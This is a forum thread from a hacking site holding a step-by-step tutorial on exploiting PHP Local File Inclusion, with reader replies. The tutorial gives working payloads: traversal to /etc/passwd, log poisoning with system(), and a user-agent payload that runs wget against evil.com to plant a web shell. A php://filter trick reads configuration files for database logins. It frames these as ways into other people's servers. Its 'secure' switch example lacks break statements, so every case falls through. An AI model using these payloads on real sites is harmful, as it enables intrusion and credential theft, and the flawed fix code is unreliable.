Author Topic: Local File Inclusion (LFI)  (Read 31882 times)

0 Members and 1 Guest are viewing this topic.

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Local File Inclusion (LFI)
« on: June 15, 2011, 04:27:01 pm »
Local File Inclusion (LFI)

Tutorial created by ande for www.evilzone.org

Written June 15, 2011.
Updated Never.



In this tutorial

1.0 What is LFI?
1.1 Understanding
LFI
1.2 Finding LFI vulnerabilities
1.3 Exploiting
LFI vulnerabilities
    - Normal method
    - Log poisoning
    - The /proc/self/environ method
    - PHP filter method(s)
1.4 Securing
LFI vulnerabilities



1.0 What is LFI?

First of, I would like to say that this tutorial is going to be a lot like my previous tutorial(Actually pretty much copy-paste, except a few parts) regarding RFI (http://evilzone.org/tutorials/remote-file-inclusion%28rfi%29/). This is simply because of the nature of these two security holes (RFI and LFI). They are pretty much the same, except for the attack method(s).

Okay, lets go.

LFI stands for Local File Inclusion. LFI is a type of web-application security vulnerability. LFI is only one of many web-application security vulnerabilities. Web-applications is applications(in other words: pages/websites) you can view and interact with in your web browser.

In this tutorial I am going to show you LFI on PHP pages. PHP is a web script engine. Its the most widely used one, its the best one and its the one you are most likely to encounter in real life scenarios. Now, you might think;
But if I only learn this on one type of script, don't I have to learn all of this for all other types of scripts?(ASP, ASP.NET, Java, Perl, CGI, [...])

No, you don't. The concept remains the same. However, to truly understand LFI in various script types, I encourage you and recommend you from the bottom of my heart to learn the languages. You don't have to learn them all, but perhaps the top 3 most used or something like that. At least PHP.

Learn more about PHP: http://php.net | http://en.wikipedia.org/wiki/PHP
To lean PHP, start here and use the links in this topic: http://evilzone.org/web-oriented-programming/starting-php-scripting-setting-up-a-php-environment/


To understand how LFI vulnerabilities can occur we need to see the use of the include() and other include'ish functions in PHP. But even before that, we need to see how a web page is built up in general(HTML).
A normal website consists of HTML. The HTML consists of a HEAD section and a BODY section. We could go on with this forever and say that the HEAD and BODY consists of [...]. But we won't. We will just accept the fact that websites are built up of lots of parts. Lets take a closer look at website build-up.
 

(A rather normal looking website layout)

The image above is one of the most common website layouts ever. Lets break down its HTML layout:
Code: [Select]
<html>
     <head>
          <title>A Common Website Layout</title>
     </head>
     <body>

          <div align="center" class="logo-area"></div>

          <div align="center" class="navigation-area">
                    <a href="index.php?page=home">Home</a> |
                    <a href="index.php?page=page1">Page1</a> |
                    <a href="index.php?page=page2">Page2</a>
          </div>

          <div align="center" class="main-content-area">
                     Content Content Content
          </div>

          <div align="center" class="navigation-or-copyright-area">
                    Copyright [url=http://www.Evilzone.org]www.Evilzone.org[/url] 2011
          </div>

     </body>
</html>

This is one of an endless amount of ways you could build this website layout with HTML. You can see that we got a HTML section(that contains everything else). We got a HEAD section and a BODY section. And inside those are various other section and parts. Now, ill be honest with you. This web page does not do a whole lot as it is right now. Actually, it does nothing. It will have a logo, a navigation, a main content area and a copyright at the bottom. The navigation will have three links(Home, Page1 and Page2). But none of the links will do anything other than sending you to the same page over and over again. Without changing the content. This type of page is referred to as a static HTML page. But thats rather boring, wouldn't you agree? Sure you do.

This is where the magic of web application scripts come in. Like previously said, I will be showing you guys LFI with PHP. To run a website with PHP pages, you will need PHP, obviously. And a web server that supports PHP. The most common combination is PHP with Apache web server. If you want to do testing on your own computer or set up a server, you can have a look at this topic: http://evilzone.org/web-oriented-programming/starting-php-scripting-setting-up-a-php-environment/

Okay, we now got ourself a web server that can run PHP pages(hypothetically). Lets rewrite the page above to take use of the GET arguments I placed in the navigation links. Now; WHAT THE FUCK IS GET ARGUMENTS!?!? Relax, we will get to that. Continue reading.

Before we go on, I want to get something of my heart. Because I know a lot of you guys will fuck up here. In the above example(the HTML code part) we are only looking at the HTML of the page. The HTML of any page can be viewed by right clicking the page in your browser and the go to 'view source' or something similar. This is not true for viewing PHP code in web pages. The only way to view the PHP code of a page is if you can read the file itself. Not from your browser. What you see in your browser is not the same thats inside your .php file. Continuing...

Lets look at how a typical PHP URL looks like: http://evilzone.org/index.php There, thats a typical PHP link. Now, very often there will be something like this after the php bit in the URL:".php?something=something&somethingelse=somethingelse". This is GET arguments. This particularly example got two GET arguments. I am sure you have figured it out by now. Non the less. Argument nr. 1 got the name "something" and its value is also "something". Argument nr. 2 got the name "somethingelse" and yes, you guessed it. Its value is also "somethingelse". Just to make things clear, the value and name does not have to be the same, this is just examples.

Additionally there is something called POST arguments and HTTP headers. However, I will not be covering those in this tutorial. Nor will I show you how to use these to exploit LFI vulnerabilities. Don't worry about it, as you learn more you will understand these to. Its not as hard as it sounds. I might even write tutorials for POST arguments and such later.

Now we can finally rewrite the page above with PHP code in it, to make different content for each of the links(Home, Page1 and Page2).
Code: [Select]
<html>
     <head>
          <title>A Common Website Layout</title>
     </head>
     <body>

          <div align="center" class="logo-area"></div>

          <div align="center" class="navigation-area">
                    <a href="index.php?page=home">Home</a> |
                    <a href="index.php?page=page1">Page1</a> |
                    <a href="index.php?page=page2">Page2</a>
          </div>

          <div align="center" class="main-content-area">
<?php

// This is a PHP comment.
// PHP comments does not affect the PHP script
// Nor is PHP comments showed in the HTML code in the end. Actually, nothing of the stuff in between "<?php" and "<?" will be shown in the HTML source

// Lets first see if the GET argument we want to use is present
if (isset($_GET['page']))
{
     
// The GET argument with name "page" is present. Lets look at its value:
     
if ($_GET['page'] == "home")
     {
          
// The GET argument's value is "home". Lets write out "home" to the HTML source
          
echo("home");
     }
     elseif (
$_GET['page'] == "page1")
     {
          
// The GET argument's value is "page1". Lets write out "page1" to the HTML source
          
echo("page1");
     }
     elseif (
$_GET['page'] == "page2")
     {
          
// The GET argument's value is "page2". Lets write out "page2" to the HTML source
          
echo("page2");
     }
     else
     {
          
// The GET argument's value is none of what we want, lets just give him the home page
          
echo("home");
     }
}
else
{
          
// The GET argument is not present in the URL. That means he is at the home page. Lets give him the home page.
          
echo("home");
}

?>

          </div>

          <div align="center" class="navigation-or-copyright-area">
                    Copyright [url=http://www.Evilzone.org]www.Evilzone.org[/url] 2011
          </div>

     </body>
</html>

Gosh, that was a lot of code. Well, not really. But I can imagine it seams like tons for people who are not familiar with it. Lets break it down.
The first thing the PHP code will do is see weather or not the GET argument with the name "page" is present in the URL. If it is it will look further for the argument's value. If the value is "home", it will write out "home" to the HTML source. If the argument's value is "page1" it will write home "page1" to the HTML source. And so on. However, if the argument is not present in the URL, we should still give the guy browsing our page something. It just means he is at index.php without anything behind .php. So the script will just give him the equivalent value as if he was browsing the "home" page. If you still do not understand the code above, just read thought it a few times. Its all logic really, its even using logical words like IsSet(), if, else, else if etc.

Some of you might wonder where I am getting the values home, page1 and page2 from. If you look closely at the HTML source of our page you will see this:
Code: [Select]
          <div align="center" class="navigation-area">
                    <a href="index.php?page=home">Home</a> |
                    <a href="index.php?page=page1">Page1</a> |
                    <a href="index.php?page=page2">Page2</a>
          </div>

This is our main navigation links. Home goes to http://oursite.com/index.php?page=home. Page1 goes to http://oursite.com/index.php?page=page1 and so on. This is where we are getting our values from. ("home", "page1", "page2")

Okay. This is all good right. We got a script which got three different contents depending on the link you click on the page. This is all good. But, the content is somewhat limit and boring. We could simply change the echo(""); lines to something much much larger. Full blown pages. However, that would be highly unpractical if you got 100 different links/pages in your page. If your average page is 250 characters, that would be at least 25000 characters in index.php. This is where the include() and other include'ish functions in PHP come in.

To now we have only been talking about this page as a page. Lets go into more details. Make a new file called index.php in your web server's root web folder(or any other place on your computer or server that you want it and your web server can reach it depending on your web server settings). On windows its going to look something like C:\apache\public_html\. On Linux it will be something like /var/www/public_html/. Additionally create a new folder in the same folder as index.php called "pages". Inside the folder "pages" create four new files called "index.php", "home.php", "page1.php" and "page2.php". File tree:
Quote
Your-Apache-Web-Folder
|-- pages
|   |-- index.php
|   |-- home.php
|   |-- page1.php
|   |-- page2.php
|
|-- index.php

Ps. (The index.php inside the pages folder is just so people cant list the files in the folder. Don't mind it, just let it be there, empty)

What we are going to do now is; Instead of just using the echo() function in the PHP script to echo static values for each of the pages. We are going to use the include() function. Its real simple. Put this in your index.php:
Code: [Select]
<html>
     <head>
          <title>A Common Website Layout</title>
     </head>
     <body>

          <div align="center" class="logo-area"></div>

          <div align="center" class="navigation-area">
                    <a href="index.php?page=home">Home</a> |
                    <a href="index.php?page=page1">Page1</a> |
                    <a href="index.php?page=page2">Page2</a>
          </div>

          <div align="center" class="main-content-area">
<?php

// This is a PHP comment.
// PHP comments does not affect the PHP script
// Nor is PHP comments showed in the HTML code in the end. Actually, nothing of the stuff in between "<?php" and "<?" will be shown in the HTML source

// Lets first see if the GET argument we want to use is present
if (isset($_GET['page']))
{
     
// The GET argument with name "page" is present. Lets look at its value:
     
if ($_GET['page'] == "home")
     {
          
// The GET argument's value is "home". Lets include the home.php page to the HTML source
          
include("pages/home.php");
     }
     elseif (
$_GET['page'] == "page1")
     {
          
// The GET argument's value is "page1". Lets include the page1.php page to the HTML source
          
include("pages/page1.php");
     }
     elseif (
$_GET['page'] == "page2")
     {
          
// The GET argument's value is "page2". Lets include the page2.php page to the HTML source
          
include("pages/page2.php");
     }
     else
     {
          
// The GET argument's value is none of what we want, lets just give him the home page
          
include("pages/home.php");
     }
}
else
{
          
// The GET argument is not present in the URL. That means he is at the home page. Lets give him the home page.
          
include("pages/home.php");
}

?>

          </div>

          <div align="center" class="navigation-or-copyright-area">
                    Copyright [url=http://www.Evilzone.org]www.Evilzone.org[/url] 2011
          </div>

     </body>
</html>

See? All we did was replacing the echo with include. This will now read the contents and code of home.php, page1.php and page2.php and print that to the HTML instead, depending on the GET argument. Now we can have huge pages with long texts, images and more code inside each of the three files we used in the pages directory, without having a huge mess in the index.php. When/if you want to edit your pages you simply locate the page files in the page folder and edit that one file. Sweet right? Absolutely! However if you do not know what the fuck you are doing when you are using the include() function you can get some serious security issues.



1.1 Understanding LFI

In itself, the include() function is not vulnerable to anything. Its wrong/dangerous use of it that causes the security issues. The include() function is not limited to reading local files. It can even read remote files from URL's. So you could do include("http://site.com/pages/page.txt") and it would include the contents of page.txt. But mostly the include() function will be used to include dynamic pages: include("pages/home.php"). This is what creates LFI scenarios.

Lets create a new scenario. We got the following files/pages:
index.php
1.php
2.php
3.php

index.php is the file the users are going to visit with his browser. When the user first visits the index.php we are going to display 3 links.
Code: [Select]
<a href="index.php?page=1">Page 1</a>
<a href="index.php?page=2">Page 2</a>
<a href="index.php?page=3">Page 3</a>

When the user clicks the first link its going to show the content of 1.php, when the user clicks the second link its going to show the contents of 2.php and when the user clicks the last link its going to show the contents of 3.php.

The index.php script site would in this case look something like this(note that I am now coding like an idiot to create security holes):
Code: [Select]
if (isset($_GET['page']))
{
    // The GET argument is present. Lets include the page.
    include($_GET['page'] . ".php");
}
else
{
    // The GET argument is not present. Lets give the poor guy some links!
    echo('<p><a href="index.php?page=1">Page 1</a></p>');
    echo('<p><a href="index.php?page=2">Page 2</a></p>');
    echo('<p><a href="index.php?page=3">Page 3</a></p>');
}

The content of 1,2 and 3 is not important in this example so I wont say anything about that.

Now, when a user clicks the Page 1 link he or she is taken to www.example.com/index.php?page=1

The PHP script in index.php will now see that the user is requesting the page called 1 and it will include the number in the URL GET argument + ".php" the same goes for 2 and 3.

So, for Page 1 it will include 1.php, for Page 2 it will include 2.php and for Page 3 it will include 3.php

So far, so good. Right? Not really. The above script is a death trap. You might not see it, but I do. And I will show you.
What if I where to go to index.php?page=4? It would then try to include 4.php. But that file obviously does not exist. So the page would return an error message like this:
Quote
Warning: include(4.php) [function.include]: failed to open stream: No such file or directory in PATH on line 3

Warning: include() [function.include]: Failed opening '4.php' for inclusion (include_path='.;PATH') in PATH\\index.php on line 3

Its important to note that, not all web servers will show you error messages when there is errors. You can chose to not show users error messages on purpose so its harder to find vulnerable pages and they give out less information about whats happening in the code. Either way, lets see what more we can do with this.

Before we continue: Further now, I will be using linux/unix paths(/var/log/). And not c:\blabla\. In case of vulnerabilities on windows servers, the concept remains the same. Just change the path.

If I was to go to index.php?page=/etc/passwd%00 what would happen?
Thats right, the PHP script would try to include whatever the file /etc/passwd contains. And if /etc/passwd was to contain more PHP code, it would also get executed. Meaning we can run any PHP command/function on the server. Which most defiantly is extremely dangerous. However, in this example (/etc/passwd) we wont have any PHP code. But it will contain all the users on the server. The /etc/passwd is typically the file you will try to include first in any LFI, simply becuase it will always be there on linux servers.

Do you see the %00 part in the argument value? Yah, that is not a typo :P This is to get rid of the .php part of the include code. Everything after %00 will be discarded.



1.2 Finding LFI vulnerabilities

This part is going to be rather short, as I almost explained everything in the previous part. Nonetheless.
Like said above. To check for the most basic vulnerabilities all you need to do is manipulate the GET arguments and look for error messages looking like the one above. However as said, its not always you will get an error message. Sometimes the script might even redirect you to the home page or something when it detects an error.

Here is a few examples of GET arguments manipulating:
Normal URL → Manipulated, hopefully error creating URL
www.site.com/index.php?id=1www.site.com/index.php?id=1awdasgfaeg
www.site.com/index.php?page=indexwww.site.com/index.php?page=qqqqqqq
www.site.com/index.php?site=indexwww.site.com/index.php?site=qqqqqq

Use your imagination... And for those who did not understand. The arguments does not need to be "id" or "page" or "site". It can be anything.

If you do not get an error, but just a blank page. Or you get redirected. You should try changing the GET argument(s) to /etc/passwd, /proc/self/environ and or other files you know are present. You should even try just changing it to index.php or the relative path to some image or css file on the page, just to see if you are able to include anything. If the server is set up to not display error messages and there is a vulnerability, your code/file will still be included even tho you didn't get any error messages indicating there is a vulnerability there.

Confused about the text above? Read here:
In the text above I talked about /etc/passwd and /proc/self/envorn. I talked about relative paths to images or and css files on the server. If you did not understand some of these concepts I will try to explain further here.
Why try to include /etc/passwd or /proc/self/envorn? Well. These are universal linux files. They will always be present at those paths. They are also usefull in some cases. You can include any file you want. But for the sake of finding vulns. The /etc/passwd, /etc/hosts, /etc/group or and /proc/self/environ are good files to try.
What do you mean about "changing it to index.php or the relative path to some image or css file on the page?"; Okay, so. If you change the possible LFI-vulnerable GET argument to index.php and you see a slightly messed up looking page. You might have been successful including index.php into index.php(assuming you are trying to exploit index.php. The filename really does not matter, its just a proof of concept). Which again means you might be able to include other interesting files. When it comes to the relative path of a image or css file, I mean: Lets say your possible-LFI vulnerable script is www.site.com/abc.php?do=BLABLA. On that site there is various images. You notice the images are located in www.site.com/images/. You should then try to change BLABLA to images/someimage.png to see if you can include that file. Likewise for css files or something similar, if the(a) css file is located at www.site.com/css/style.css you should try changing BLABLA to css/style.css and see if you get the contents of style.css printed out on the page. Again. The file name or file location does not matter. This is simply to make sure we are able to include files. If you are successful including one of the files above, don't bother trying the other ones. Just move along to the attack part.



1.3 Exploiting LFI vulnerabilities

Lets say that you have successfully found a vulnerable page.

The URL is www.site2.com/index.php?page=index

First I will discuss the normal method of LFI vulnerabiltities. Then I will move on to slightly more interesting methods of gaining some sort of access to the server. We get to remember, even tho we might have a LFI vulnerability. This does not directly mean we have hacked our target, nor does it guarantee a successful breach.

For the case of simplicity. We will say that all we need to do is edit the page=index to /etc/passwd and we will successfully include /etc/passwd. Nothing fancy. In a lot of cases it will be neccesery to do ../../../../../../../../../etc/passwd because the php script will try to include something in its root directory, then we need to go back lots of folders(../../../) until we reach / and then go to etc/ and read passwd. How many ../'s you use does not matter. Just use enough.



Normal method
www.site2.com/index.php?page=/etc/passwd gives us this output:
Quote
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh

Note that you will not get the same output(you might, but probably not). Don't worry. As long as you get something looking like this you are good.

So, we know this server for SURE is vulnerable to LFI. Lets discuss how we can get some access to this server. The file /etc/shadow is what contains the system's logins nowdays. But unless the web server is running as root(highest privilege user) you wont be able to read that file. But you should/could try it nonetheless.

Further more, its not really any easy way getting more access than LFI to a server with normal inclusion. You can try lurking around a bit and see if you find any interesting files, you might get lucky. But normally, from this point on you move on to log poisoning, /proc/self/environ or other methods of attacks.




Log poisoning
After knowing you can include any file(s) with a LFI. You could try log poisoning to execute PHP code to gain higher access to the system.

In order to perform a LFI log poisoning you need to be able to include the apache error or and access logs. Unfortuantly for us I believe this have been made "impossible" in newer versions of apache(the most used web server). Nonetheless. It does not stop us from trying.

First, try including various known locations for the apache logs. Here are a few common paths:
Quote
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/access_log
/var/log/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_l og
/usr/local/apache/logs/error.l og
/var/log/apache/error_log
/var/log/apache2/error_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/error_log
/var/log/error.log

These are the most common ones, as said. But you might find yourself in a lot of situations where thins are not where they commonly are. If you find yourself failing on all of those common paths for the logs, just give up and move on to another method of attack. Most likely, you wont find the log path or you cant read it.

However, if you do manage to include the error and or access log, you will most likely crash your browser if you are exploiting a huge site. Or you will see tons and tons and tons of access or and error logs :P In this case, read further(even if your browser crashes).

Now, the whole point with including the error and or access log(s) are to be able to include something we can modify. Because, we can easily modify the access or error logs!

What we want to do is, "poison" the logs with PHP code. Then include them with the LFI and therefore executing the code! All you need to do is go to www.site2.com/<?php system("echo include($_GET['a']); > /tmp/mmmmmmm") ?> and you will poison the error log(cuz the file <?php system("echo include($_GET['a']); > /tmp/mmmmmmm") ?> will most likely not exist and therefore make a 404 error)

If done correctly, you will now execute the following code by including the error log:
Code: [Select]
<?php
system
("echo include($_GET['a']); > /tmp/mmmmmmm")
?>


This will write a file called mmmmmmm to /tmp/ which you can now include instead of the log files(just to make things a bit more practical). I wont go into further details on how to compromise a system. I basically served you your systems head on a plate. You got a working LFI, you poisoned the log file(s) and you got a system() code execution at /tmp/mmmmmmm




The /proc/self/environ method
The /proc/self/environ method is a lot like log poisoning, just a lot simpler. And more commonly found(nowdays anyway).

The environ file is simply a file that will spit out information about the "environment". That is, information about the system, the user and process etc. Keep in mind that this isn't a file really, its a stream. Changing depending on the shell environment.

The environ file/stream will print out, among other things, the user-agent. This is what we will use to execute PHP code.

If you just include the /proc/self/environ without any tampering, you should see something like this:
Quote
DOCUMENT_ROOT=/somepath/somepath/somepath GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=something=something HTTP_HOST=www.site2.com HTTP_USER_AGENT=Some user agent PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=127.0.0.1 REMOTE_PORT=41823 REQUEST_METHOD=GET REQUEST_URI=/index.php?do=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/somepath/somepath/somepath/index.php SCRIPT_NAME=/index.php SERVER_ADDR=127.0.0.1 SERVER_ADMIN=webmaster@site2.com SERVER_NAME=www.site2.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i Server at www.site2.com Port 80

You can see that it will output a lot of info. Like the user-agent, which we will use to tamper the output with.

Now, use your favorite user-agent switcher or tampering program. I can recommend tamper data or any user-agent switcher for Firefox.

Change your user-agent to <?php system("wget http://evil.com/myshell.txt -o /var/path/to/www/folder/myshell.php"); ?>

And voila! The environ stream now outputs your user-agent-PHP-code back the the PHP script, which hopefully executes the code. If you did everything correctly, and everything worked as planned. You should now have a shell at /var/path/to/www/folder/myshell.php which hopefully is www.site2.com/myshell.php with the contents of http://evil.com/myshell.txt. Of course this is all proof of concept stuff. So you would have to change a lot of paths and so on. But this is how you do it anyway.




PHP filter method(s)
The PHP file method is the last method I will discuss in this tutorial for now. If you have other LFI techniques you are welcome to post them and I will include them in this tutorial, with your name all over it of course :P

The PHP filter method is basically just like normal LFI. Except, you can actually read the PHP source code of the files you include instead of executing the code! Which means, we can read configuration files and such for PHP scripts. Which sometimes can lead to some sort of access.

What we want to do is convert the data we get from reading the file to something that will not get executed when it goes thought the include() function. Base64 encryption will do this. With PHP filters you can convert the data you read from a file to base64 before it gets included. This way, we will get base64 output to our browser, which, when decrypted will be PHP source code if you include a PHP file.

This is how you do it:
www.site2.com/index.php?page=php://filter/read=convert.base64-encode/resource=YOUREFILE

So, if you want to read config.php you do:
www.site2.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

config.php will most of the time contain some interesting information if it exists. Like MySQL logins and whatnot(depending on the script ofc). You will get something looking like this in your browser:
Quote
VGhpcyBpcyBhIGJhc2U2NCBzdHJpbmc=

You can decode it with this online tool: http://coderstoolbox.net/string/

More info on PHP filters: http://php.net/manual/en/wrappers.php.php
Other wrappers: http://www.php.net/manual/en/wrappers.php


 



Additionally I would like to mention the PHP session method. This one is a little more advance, but if you know how cookies, sessions and tampering of these two works you will get it. If you are able(not sites "allow" this) to edit your PHP session value with some cookie editor or tamer program. You edit your session data to PHP code and include it. The path to the session file on the server is most of the time: /tmp/sess_YOUR_SESSION_ID but it can be located in other places to, like /var/lib/php5/. But with the same name(sess_YOUR_SESSION_ID)


Now, if all of the above methods fail. Not all hope is lost yet. If you find a file upload somewhere on the site, let it be images, rar files, zip files, avatars, text files, pdf's. Almost anything. You can tamper the files, add some PHP code to the end of it or something. And try to include it. That is, if you know the file path after you upload it ofc.


Further details on how to root, steal, deface(lame) and whatnot will not be included in this tutorial. This tutorial is for security purposes only, and for creativity.



1.4 Securing  LFI vulnerabilities

Okay, this is the part where I don't know if I am supposed to laugh or cry. The only reason(okay, I know its easy to screw up.. But seriously..) I can think of why you would create a security issue like LFI is if you have absolutely no idea what you are doing. You are an idiot if you screw up that bad.

Honestly, just. Don't EVER have user inputs in your include() calls. Do a if/elseif/else or switch/case statement instead. Like this:

Using if/elseif/else statement(s):
Code: [Select]
<?php
if (isset($_GET['page']))
{
     if (
$_GET['page']=="home")
     {
          include(
"home.php");
     }
     elseif (
$_GET['page']=="page1")
     {
          include(
"page1.php");
     }
     else
     {
          include(
"home.php");
     }
}
else
{include(
"home.php");}
?>


Using switch/case(slightly more efficient than if statements in terms of lines of code):
Code: [Select]
<?php
if (isset($_GET['page']))
{
     switch(
$_GET['page'])
     {
          case 
"home":
               include(
"home.php");
          
          case 
"page1":
               include(
"page1.php");

          default:
               include(
"home.php");
     }
}
else
{include(
"home.php");}
?>



Don't EVER do like this:
Code: [Select]
<?php
if (isset($_GET['page']))
{
      include(
$_GET['page'].".php");
}
else
{include(
"home.php");}
?>

EVER



Add from I_Learning_I (May 30, 2011) (RFI tutorial)
Quote
There is yet another way to prevent RFI(and LFI kinda), which is basically trimming the string to some special characters, like http:, //, /, you get the drill.
Here's an example:
Code: [Select]
function check_url($page){

$page = str_replace("http://", "", $page);
$page = str_replace("/", "", $page);
$page = str_replace("\\", "", $page);
$page = str_replace("../", "", $page);
$page = str_replace(".", "", $page);
$page = str_replace("php", "", $page);


return $page;
}

echo "<title>Index</title>";
if($_GET){
   $id=check_url($_GET['id'])."php";
      if(file_exists($id)){
         require($id);
      }else{
                        require("index.php");
               }
}

My response tho: This code can still be tampered with to include local files(LFI). So, I would still go for a if/case statement. But its not impossible to do a direct include on the user-input and it still being secure. Its just a lot more to think of than if you just do a if/case statement.





Tutorial created by ande for www.evilzone.org

Written June 15, 2011.
Updated Never.

Report any typos or false information please. If you see fit for improvement, post your suggestion :)
« Last Edit: June 15, 2011, 10:08:07 pm by ande »
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline Traitor4000

  • Knight
  • **
  • Posts: 191
  • Cookies: 8
    • View Profile
Re: Local File Inclusion (LFI)
« Reply #1 on: May 25, 2014, 03:41:43 pm »
I might be stupid but with this example what prevents using a far simpler RFI attack?
The most vulnerable part of an impenetrable system is those who believe it to be so.

Offline M1lak0

  • Peasant
  • *
  • Posts: 129
  • Cookies: 10
    • View Profile
Re: Local File Inclusion (LFI)
« Reply #2 on: May 25, 2014, 09:52:37 pm »
I think /proc/self/environ method is quite similar to RFI! Its really an awesome tutorial for the biginners like me! :)
I really approciate the efforts you have made to write things up! :)
"Security is just an illusion"

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: Local File Inclusion (LFI)
« Reply #3 on: May 26, 2014, 08:39:40 am »
I might be stupid but with this example what prevents using a far simpler RFI attack?

Not the point I was trying to make with this thread. But there is nothing stopping you from doing RFI if you are in control of the inclusion protocol marker (http://, https://, ftp://).


I think /proc/self/environ method is quite similar to RFI! Its really an awesome tutorial for the biginners like me! :)
I really approciate the efforts you have made to write things up! :)

Im afraid the environ method is nothing like RFI. It is the very definition of local.
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline gentlemanscratch

  • /dev/null
  • *
  • Posts: 7
  • Cookies: 1
    • View Profile
Re: Local File Inclusion (LFI)
« Reply #4 on: January 11, 2015, 06:35:55 pm »
For anyone trying this who just set up their own server, if you are getting "Warning: include(): Failed opening 'filename.ext' for inclusion" when using the %00 operator, this is because the null byte vulnerability was patched as of PHP 5.3.4. magic_quotes_gpc used to allow/disallow this but this option was completely removed as of 5.4.


If you still want to try out this tutorial try setting up your server with PHP version < 5.3.4

Offline kbt0000

  • /dev/null
  • *
  • Posts: 7
  • Cookies: -3
    • View Profile
Re: Local File Inclusion (LFI)
« Reply #5 on: October 12, 2015, 03:43:36 am »
Is local file inclusion similar to local attack

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: Local File Inclusion (LFI)
« Reply #6 on: October 12, 2015, 03:56:33 am »
Is local file inclusion similar to local attack

'local attack' is an ambiguous buzzword with no meaning.
« Last Edit: October 12, 2015, 03:56:54 am by ande »
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline kbt0000

  • /dev/null
  • *
  • Posts: 7
  • Cookies: -3
    • View Profile
Re: Local File Inclusion (LFI)
« Reply #7 on: October 12, 2015, 01:24:04 pm »
'local attack' is an ambiguous buzzword with no meaning.
Local attack mean up shell and replace file

Offline jimg

  • Serf
  • *
  • Posts: 22
  • Cookies: -5
    • View Profile
Re: Local File Inclusion (LFI)
« Reply #8 on: November 01, 2015, 01:18:50 pm »
Unbelievable, i've already read a few "tutorials" supposedly explaining all what you have wrote and each time i still didn't have a clue, i thought it was me just not able to grasp it for some reason but now after reading that (wrote properly) the difference is amazing, brilliantly explained in a nice simple way without missing parts like the others obviously did, there's a huge difference in how easy it is to take stuff in when it's wrote and explained properly like that is, Thanks for that, great stuff Thank You.

Offline joker22

  • NULL
  • Posts: 1
  • Cookies: 0
    • View Profile
Re: Local File Inclusion (LFI)
« Reply #9 on: November 15, 2015, 01:15:20 pm »
i read the first part , finding vuln pages its not well explained , it would b perfect if it was .
i tried all the methods u specified on how to find a vuln page , i didn't succeed